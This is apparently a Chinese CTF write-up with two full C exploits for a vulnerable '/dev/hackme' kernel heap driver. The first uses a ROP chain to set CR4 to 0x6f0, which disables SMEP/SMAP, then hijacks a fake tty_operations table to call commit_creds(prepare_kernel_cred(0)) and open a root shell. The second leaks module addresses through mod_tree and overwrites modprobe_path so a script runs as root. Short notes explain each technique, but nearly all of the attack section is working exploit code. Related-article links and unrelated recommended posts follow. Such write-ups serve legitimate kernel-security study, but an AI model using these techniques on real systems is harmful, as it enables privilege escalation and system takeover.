kernel heap bypass smep,smap && 劫持modprobe_path

exp1

smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位)。

smap:smap用户数据不可访问。

通过控制cr4寄存器为0x6f0即可绕过。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h> size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0}; int fd; struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
}; void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
} void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
} void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
} void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
} void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
} void get_shell()
{
if (getuid() == 0)
{
puts("[*] get root");
system("/bin/sh");
}
else
{
puts("[-] get root error");
sleep(3);
exit(0);
}
} void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
} int main()
{
save_status(); char buf[0x1000] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0}; fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
} add(0, 0x2e0, buf); // 0
add(1, 0x2e0, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
delete(0);
delete(2); show(3, 0x100, -0x100, buf);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("[+] heap_addr=> 0x%lx\n", heap_addr); int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(3);
exit(0);
} show(1, 0x400, -0x400, buf);
vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0; int i = 0;
rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
rop[i++] = 0x6f0;
rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss; add(2, 0x100, (char *)rop); fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret; fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
fake_tty_operations[1] = heap_addr; ((size_t *)buf)[3] = heap_addr + 0x100; delete(3);
add(3, 0x100, (char *)fake_tty_operations); edit(1, 0x400, -0x400, buf); write(fd_tty, "FXC", 3);
return 0;
}

exp2

mod_tree:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。

modprobe_path:当我们执行一个非法文件时,就会以root权限去执行modprobe_path所指向的文件,通常是指向/sbin/modprobe,如果改成我们创建的cat flag的文件,那么就可以拿到flag

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h> int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
}; void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
} void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
} void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
} void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
} void get_flag()
{
puts("[+] Prepare shell file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
system("chmod +x /shell.sh"); puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
system("chmod +x /FXC"); system("cat /proc/sys/kernel/modprobe");
system("/FXC");
system("cat /flag"); sleep(5);
} int main()
{
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
} char buf[0x1000] = {0}; add(0, 0x100, buf); // 0
add(1, 0x100, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
add(4, 0x100, buf); // 4 delete(1);
delete(3); show(4, 0x100, -0x100, buf);
heap_base = ((size_t *)buf)[0] - 0x100;
printf("[+] heap_addr=> 0x%lx\n", heap_base); show(0, 0x200, -0x200, buf);
vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
mod_tree = vmlinux_base + 0x811000;
modprobe_path = vmlinux_base + 0x83f960; memset(buf,'\x00',0x100);
((size_t *)buf)[0] = mod_tree + 0x40;
edit(4, 0x100, -0x100, buf); add(5, 0x100, buf); // 5
add(6, 0x100, buf); // 6 show(6, 0x40, -0x40, buf);
ko_base = ((size_t *)buf)[3];
printf("[+] ko_base=> 0x%lx\n", ko_base); delete(2);
delete(5); getchar();
((size_t *)buf)[0] = ko_base + 0x2400 + 0xc0;
edit(4, 0x100, -0x100, buf); add(7, 0x100, buf); // 7
add(8, 0x100, buf); // 8 ((size_t *)buf)[0] = modprobe_path;
((size_t *)buf)[1] = 0x100;
edit(8, 0x10, 0, buf); strncpy(buf, "/shell.sh\x00", 0xa);
edit(12, 0xa, 0, buf); get_flag();
return 0;
}

kernel heap bypass smep,smap && 劫持modprobe_path的更多相关文章

  1. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  2. How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038

    http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html ...

  3. ret2dir:Rethinking Kernel Isolation(翻译)

    前一段时间在网上找ret2dir的资料,一直没找到比较系统的介绍,于是干脆把这篇经典的论文翻译了,当然,第一次翻译(而且还这么长),很多词汇不知道到底该怎么翻译,而且最近事情也比较多, 翻译得挺烂的, ...

  4. ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)

    ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...

  5. Windows Kernel Security Training Courses

    http://www.codemachine.com/courses.html#kerdbg Windows Kernel Internals for Security Researchers Thi ...

  6. Microsoft Windows CE 5.0 Board Support Package, Boot Loader, and Kernel Startup Sequence

    Summary Learn about the initial, low-level startup sequence and the hardware platform functions that ...

  7. Windows漏洞利用与防护(2015.8)

    Windows平台下的漏洞利用与防护 0x00 概述 在过去的二十几年,Windows作为网络安全的主战场之一,攻于防的较量从未停息过.内存破坏漏洞作为研究的重点之一,经历了很多的发展也沉淀了前辈们许 ...

  8. [转]Mac OS X local privilege escalation (IOBluetoothFamily)

    Source: http://joystick.artificialstudios.org/2014/10/mac-os-x-local-privilege-escalation.html Nowad ...

  9. linux提权辅助工具(一):linux-exploit-suggester.sh

    来自:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh ...

随机推荐

  1. linux环境下搭建solr服务器--单机版

    前提需要在安装好jdk和tomcat,本人用的是jdk1.8+tomcat8.5+solr4.10. 第一步:安装linux.jdk.tomcat.(这步都是比较简单的,就不多说了) 第二步:把sol ...

  2. 12_非线性理论基础_Lyapunov直接方法

  3. 块级格式化上下文(BFC)

    一.什么是BFC 具有BFC属性的元素也属于普通流定位方式,与普通容器没有什么区别,但是在功能上,具有BFC的元素可以看做是隔离了的独立容器,容器里面的元素不会在布局上影响到外面的元素,并且具有普通容 ...

  4. React+Webpack+ES6 兼容低版本浏览器(IE9)解决方案

    虽然过了兼容IE6的噩梦时代,IE依旧阴魂不散,因为你可能还要兼容IE9.在ES6已经普及的今天,用ES6写react已经成了标配.但是babel编译的js语法,由于某些不规范的写法,可能在IE9下不 ...

  5. 阐述在Yii2上实现跳转提示页

    序言 为了让用户有更加良好的体验,在操作成功或者失败后,来个提示并跳转页面,我就在Yii2上实现了这一个效果.在写这个跳转提示页的时候,找资料我发现网上关于这方面的中文资料真的很少,大家也都共享下吧! ...

  6. react开发教程(三)组件的构建

    什么是组件 组件化就好像我们的电脑装机一样,一个电脑由显示器.主板.内存.显卡.硬盘,键盘,鼠标.... 组件化开发有如下的好处:降低整个系统的耦合度,在保持接口不变的情况下,我们可以替换不同的组件快 ...

  7. C#枚举-通过值获取名字,通过名称获取值

    public enum ProtoType { Move = 1, Enter = 2, Leave = 3, Attack, Die, } print("ProtoType.Move:&q ...

  8. java中如何打印规定图案? 举例说明

    9.4 print out the following pattern(打印图案). * *** ***** ******* ***** *** * 提示: 1)本题上面的图案和下面的图案是一样的.所 ...

  9. CentOS的安装以及IP地址(动态/静态)的配置

    啊!复试压力好大,跟好多学长聊完以后觉得自己更该好好努力了,一边好好准备复试科目,一边把之前忘掉的捡起来吧,加油! 1.安装的具体过程请参照这位博主写的,我觉得写的很详细,https://blog.c ...

  10. table表格做出圆角效果

    采用border-radius 这个属性的时候在chrome里面没有圆角,倒是在IE里面有圆角. 不知道是不是没有写webkie 前缀,但是加上一段神奇的代码overflow:hidden的是时候在c ...